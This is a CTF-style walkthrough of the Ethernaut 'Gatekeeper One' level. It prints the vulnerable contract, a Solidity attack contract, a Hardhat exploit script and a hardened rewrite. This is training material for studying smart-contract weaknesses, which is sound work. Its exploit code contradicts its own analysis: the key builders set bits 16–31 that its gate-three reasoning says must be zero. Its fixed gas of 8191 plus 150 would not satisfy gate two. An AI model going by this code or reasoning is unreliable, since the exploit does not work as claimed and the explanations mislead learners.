March 18, 2024

Gatekeeper One Challenge - Ethernaut Level 13

12 min readDifficulty: Hard

Challenge Description

Gas OptimizationBitwise OperationsData TypesLevel 13

Challenge Goal

Pass through all three gates by meeting their specific requirements. This challenge tests your understanding of gas optimization, data type conversions, and bitwise operations in Solidity.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
    require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
    require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Challenge Instructions

Goal: Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • • Remember what you've learned from the Telephone and Token levels
  • • You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls)

Understanding the Contract

Let's break down how this contract works:

  1. State Variables: The contract has one state variable:
    • entrant (public address): Stores the address of the successful entrant
  2. Three Gates: The contract has three modifiers that must all pass:
    • gateOne: Requires that msg.sender is different from tx.origin
    • gateTwo: Requires that the remaining gas is divisible by 8191
    • gateThree: Requires specific bitwise operations on the gate key
  3. enter Function: The main function that must pass all three gates

The challenge requires understanding three different concepts: contract interactions, gas optimization, and bitwise operations.

Analyzing Each Gate

Let's analyze each gate in detail:

Gate One: Contract Interaction

require(msg.sender != tx.origin)

  • msg.sender: The immediate caller of the function (could be a contract)
  • tx.origin: The original transaction sender (always an EOA)
  • Requirement: These must be different, meaning we need to call from a contract

Gate Two: Gas Optimization

require(gasleft() % 8191 == 0)

  • gasleft(): Returns the remaining gas in the current execution
  • Requirement: The remaining gas must be exactly divisible by 8191
  • Challenge: We need to calculate the exact gas to send

Gate Three: Bitwise Operations

The gate has three requirements:

  1. uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
  2. uint32(uint64(_gateKey)) != uint64(_gateKey)
  3. uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Create an attack contract to satisfy Gate One
  2. Calculate the correct gas amount to satisfy Gate Two
  3. Calculate the correct gate key to satisfy Gate Three
  4. Call the enter function with the correct parameters

Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
    IGatekeeperOne private target;
    
    constructor(address _target) {
        target = IGatekeeperOne(_target);
    }
    
    function attack(bytes8 gateKey) external {
        // Calculate gas needed to make gasleft() % 8191 == 0
        // We need to account for the gas used by the function call
        uint256 gasToUse = 8191;
        uint256 gasNeeded = gasToUse + 150; // Add some buffer for the function call
        
        target.enter{gas: gasNeeded}(gateKey);
    }
}

Calculating the Gate Key

For Gate Three, we need to satisfy these conditions:

  1. The first 32 bits must equal the first 16 bits (truncation)
  2. The first 32 bits must not equal the full 64 bits
  3. The first 32 bits must equal the first 16 bits of tx.origin
// Calculate the gate key
function calculateGateKey(address origin) public pure returns (bytes8) {
    // Get the first 16 bits of tx.origin
    uint16 origin16 = uint16(uint160(origin));
    
    // Create a bytes8 where:
    // - First 16 bits = origin16
    // - Next 16 bits = origin16 (to satisfy condition 1)
    // - Last 32 bits = anything different (to satisfy condition 2)
    
    bytes8 key = bytes8(uint64(origin16) | (uint64(origin16) << 16) | (uint64(0xffffffff) << 32));
    
    return key;
}

Complete Exploit Script

// Complete exploit script
const { ethers } = require("hardhat");

async function main() {
  const gatekeeperAddress = "INSTANCE_ADDRESS";
  
  console.log("Gatekeeper address:", gatekeeperAddress);
  
  // Deploy the attack contract
  const GatekeeperOneAttack = await ethers.getContractFactory("GatekeeperOneAttack");
  const attackContract = await GatekeeperOneAttack.deploy(gatekeeperAddress);
  await attackContract.deployed();
  console.log("Attack contract deployed at:", attackContract.address);
  
  // Calculate the gate key
  const playerAddress = await ethers.getSigner().getAddress();
  console.log("Player address:", playerAddress);
  
  // Get the first 16 bits of the player address
  const origin16 = ethers.BigNumber.from(playerAddress).mod(2**16);
  console.log("Origin 16 bits:", origin16.toString());
  
  // Create the gate key
  const key = ethers.BigNumber.from(origin16)
    .or(ethers.BigNumber.from(origin16).shl(16))
    .or(ethers.BigNumber.from("0xffffffff").shl(32));
  
  console.log("Gate key:", key.toHexString());
  
  // Attack with calculated gas
  console.log("Attempting attack...");
  const tx = await attackContract.attack(key.toHexString(), {
    gasLimit: 100000 // Set a high gas limit
  });
  
  await tx.wait();
  console.log("Attack completed!");
  
  // Verify the attack worked
  const gatekeeper = await ethers.getContractAt("GatekeeperOne", gatekeeperAddress);
  const entrant = await gatekeeper.entrant();
  console.log("Entrant:", entrant);
  
  if (entrant === playerAddress) {
    console.log("✅ Successfully passed all gates!");
  } else {
    console.log("❌ Attack failed");
  }
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Understanding Gas Optimization

The gas optimization part is tricky. We need to calculate exactly how much gas to send so that gasleft() % 8191 == 0 when the check is performed.

Gas Calculation

// Gas calculation explanation
// The gasleft() function returns remaining gas
// We need gasleft() % 8191 == 0
// This means we need to send gas such that:
// (total_gas - gas_used) % 8191 == 0

// To find the right gas amount, we can:
// 1. Start with a base amount (e.g., 8191)
// 2. Add gas for the function call overhead
// 3. Test different amounts until we find one that works

// Example calculation:
// Base: 8191
// Function call overhead: ~150 gas
// Total: 8191 + 150 = 8341 gas

Understanding Bitwise Operations

The bitwise operations in Gate Three require understanding data type conversions:

Data Type Conversions

  • uint64 to uint32: Takes the least significant 32 bits
  • uint64 to uint16: Takes the least significant 16 bits
  • uint160 to uint16: Takes the least significant 16 bits of the address

Condition Analysis

// Condition 1: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
// This means the first 32 bits must equal the first 16 bits
// This happens when bits 16-31 are all zeros

// Condition 2: uint32(uint64(_gateKey)) != uint64(_gateKey)
// This means bits 32-63 must not all be zero
// So we need at least one bit set in the upper 32 bits

// Condition 3: uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
// This means the first 32 bits must equal the first 16 bits of our address

Security Lessons

  • Contract Interactions: Using tx.origin for authorization can be bypassed by contract calls.
  • Gas Optimization: Gas-based checks can be manipulated by carefully calculating gas amounts.
  • Bitwise Operations: Complex bitwise logic can be reverse-engineered with careful analysis.
  • Multiple Conditions: When multiple conditions must be met, each one can be analyzed independently.
  • Data Type Conversions: Understanding how Solidity handles type conversions is crucial for security.

Prevention

Here's how you could improve this contract to make it more secure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureGatekeeper is Ownable {
    mapping(address => bool) public authorizedUsers;
    
    event UserAuthorized(address indexed user);
    event AccessGranted(address indexed user);
    
    constructor() {
        authorizedUsers[msg.sender] = true;
    }
    
    modifier onlyAuthorized() {
        require(authorizedUsers[msg.sender], "Not authorized");
        _;
    }
    
    function grantAccess() external onlyAuthorized {
        emit AccessGranted(msg.sender);
    }
    
    function authorizeUser(address user) external onlyOwner {
        authorizedUsers[user] = true;
        emit UserAuthorized(user);
    }
    
    function revokeUser(address user) external onlyOwner {
        authorizedUsers[user] = false;
    }
}

The improved contract:

  • Uses proper access control instead of complex gates
  • Implements authorization mechanisms
  • Includes events for transparency
  • Allows the owner to manage authorized users
  • Doesn't rely on gas manipulation or complex bitwise logic

Alternative Solutions

For applications that require multiple verification steps, consider:

  • Multi-Signature: Require multiple parties to approve access
  • Time-Locks: Use time-based restrictions
  • Role-Based Access: Implement proper role management
  • External Verification: Use off-chain verification with on-chain confirmation

Conclusion

The Gatekeeper One challenge is an excellent lesson in understanding multiple Solidity concepts simultaneously. It demonstrates how complex security mechanisms can be bypassed through careful analysis and manipulation.

The key takeaways are:

  • Contract Interactions: Always consider how contracts can be used to bypass security measures
  • Gas Manipulation: Gas-based checks can be circumvented with careful calculation
  • Bitwise Logic: Complex bitwise operations can be reverse-engineered
  • Multiple Conditions: Each condition should be analyzed independently

When designing smart contracts, avoid relying on complex puzzles or gas manipulation for security. Instead, use proven patterns like access controls, multi-signature schemes, and proper authorization mechanisms.

Your Notes